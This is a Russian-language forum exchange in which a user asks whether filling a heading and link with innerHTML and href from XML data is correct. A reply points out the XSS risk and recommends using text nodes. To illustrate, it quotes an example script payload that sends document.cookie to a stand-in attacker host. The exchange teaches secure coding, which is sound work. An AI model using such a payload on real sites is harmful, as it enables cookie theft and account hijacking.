Привет всем!
На странице есть такие элементы:
1. Заголовка h1 c id="Title", он расположен внутри дива в самом верху страницы.
2. Есть ссылка <a> с id="DataProvider", у которой нужно динамически задать то, что будет между <a> и </a> и значение href.
Пишу такой код:
var Title = // как-то получается из xml значение заголовка (не суть важно как), который будет выведен вверху окна в h1
if (Title != null)
document.getElementById("Title").innerHTML = Title;
var DataProviderName = // как-то получается из xml (не суть важно как)
if (DataProviderName != null)
document.getElementById("DataProvider").innerHTML = DataProviderName;
var DataProviderLink = // как-то получается из xml (не суть важно как)
if (DataProviderLink != null)
document.getElementById("DataProvider").href = DataProviderLink;
Вроде работает на тестовых данных, но я не уверена, что это правильный код. Хотелось бы, чтобы кто-нибудь опытный сказал, если что неправильно и, если неправильно, то какие свойства надо было использовать (особенно в innerHTML не уверена).
Здравствуйте, XJess, Вы писали:
XJ>2. Есть ссылка <a> с id="DataProvider", у которой нужно динамически задать то, что будет между <a> и </a> и значение href.
XJ>Пишу такой код:
XJ>var DataProviderName = // как-то получается из xml (не суть важно как)
XJ>if (DataProviderName != null)
XJ> document.getElementById("DataProvider").innerHTML = DataProviderName;
Неправильно. Завтра прилетит DataProviderName = "<script>window.location='
http://evil.site.com/?'+document.cookie</script>", послезавтра в утренних газетах — «в сайте example.com обнаружена XSS-уязвимость».
Как правильно (пишу без тестирования, доработать напильником):
var a = document.getElementById("DataProvider");
if (0 == a.childNodes.length)
{
a.appendChild(document.createTextNode(DataProviderName));
}
else
{
a.firstChild.data = DataProviderName;
}